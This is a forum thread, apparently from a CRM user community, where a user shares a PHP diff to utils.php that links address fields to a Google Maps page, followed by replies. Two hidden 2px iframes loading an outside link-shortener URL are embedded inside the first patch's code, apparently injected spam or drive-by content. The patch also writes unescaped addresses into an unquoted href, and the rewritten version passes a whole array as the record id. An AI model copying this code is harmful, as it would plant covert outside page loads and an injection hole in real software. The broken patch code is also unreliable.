Fun with Google Maps

This is just a goofy little feature and I don't know how well Google maps works outside of the US. Anyways, this uses the company address and the contact/lead/account address and redirects you to google maps <!-- s:) --><img src="{SMILIES_PATH}/icon_smile.gif" alt=":)" title="Smile" /><!-- s:) -->. The patch to include/utils.php will create a link out of the address.

Enjoy,

Matt


--- utils.php.old 2005-09-29 06:01:21.000000000 -0400
+++ utils.php 2005-09-29 06:00:45.000000000 -0400

elseif($uitype == 20 || $uitype == 21 || $uitype == 22 || $uitype == 24) // Armando LC<scher 11.08.2005 -> B'descriptionSpan -> Desc: removed $uitype == 19 and made an aditional elseif above
{
$col_fields[$fieldname]=nl2br($col_fields[$fieldname]);
+ $address = ereg_replace(" ", "_", $col_fields[$fieldname]);
$custfld .= '<td width="20%" class="dataLabel" valign="top">'.$mod_strings[$fieldlabel].':</td>';
- $custfld .= '<td valign="top" class="dataField">'.$col_fields[$fieldname].'</td>'; // Armando LC<scher 10.08.2005 -> B'descriptionSpan -> Desc: inserted colspan="3"
+ $custfld .= '<td valign="top" class="dataField"><a href=mapme.php?addy='.$address.' target="_blank">'.$col_fields[$fieldname].'</a></td>'; // Armando LC<scher 10.08.2005 -> B'descriptionSpan -> Desc: inserted colspan="3"
}
elseif($uitype == 51 || $uitype == 50 || $uitype == 73)
{ <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
«13

Comments

  • 28 Comments sorted by Votes Date Added
  • very nice touch there. i have to ask though is there a reason you pass the street adress to mapme.php instead of the crmid of the current entry (should be avaiable as $col_fields)? either way this is something i'm definiatly going to add to my installation.
  • very nice touch there. i have to ask though is there a reason you pass the street adress to mapme.php instead of the crmid of the current entry (should be avaiable as $col_fields)?

    because i couldn't remember or find the variable it was stored in. i'm going to re-write this to use the crmid instead.. thanks,

    matt
  • here is a quick re-write using the crmid.

    matt


    --- utils.php.old 2005-09-29 06:01:21.000000000 -0400
    +++ utils.php 2005-09-29 14:11:29.000000000 -0400

    {
    $col_fields[$fieldname]=nl2br($col_fields[$fieldname]);
    $custfld .= '<td width="20%" class="datalabel" valign="top">'.$mod_strings[$fieldlabel].':</td>';
    - $custfld .= '<td valign="top" class="datafield">'.$col_fields[$fieldname].'</td>'; // armando lc<scher 10.08.2005 -> b'descriptionspan -> desc: inserted colspan="3"
    + $custfld .= '<td valign="top" class="datafield"><a href=mapme.php?record='.$col_fields.' target="_blank">'.$col_fields[$fieldname].'</a></td>'; // armando lc<scher 10.08.2005 -> b'descriptionspan -> desc: inserted colspan="3"
    }
    elseif($uitype == 51 || $uitype == 50 || $uitype == 73)
    {
  • and here is a version that doesn't map the source and destination addresses backwards <!-- s:) --><img src="{smilies_path}/icon_smile.gif" alt=":)" title="smile" /><!-- s:) -->

    matt
  • sorry for the dimb question, but i've downloaded the file, how do i apply the patch?

    copy over existing file? append it?

    <!-- s:shock: --><img src="{smilies_path}/icon_eek.gif" alt=":shock:" title="shocked" /><!-- s:shock: -->
  • copy and paste the patch above into a file like utils.patch. then go to crm/includes/ and run the command 'patch -p0 < utils.patch' or just go to line 1758 in utils.php and copy and paste the correct lines in.

    matt
  • how do you set the source/destination address. it sets the from (my account/contact) to destination address:
    we could not understand the location 40-41-42, sivasundar apartments, flat d-ii, shastri street, velachery chennai tamil nadu 600 042
    this should be my address, correct?
  • nevermind i'm a dumbass. looked in mapme and saw organization and figure it out. sorry.
  • great add-on, matt.

    -andrew
  • very cool, now can you tie the phone number fields to google phonebook <!-- s:-) --><img src="{smilies_path}/icon_smile.gif" alt=":-)" title="smile" /><!-- s:-) -->
Sign In or Register to comment.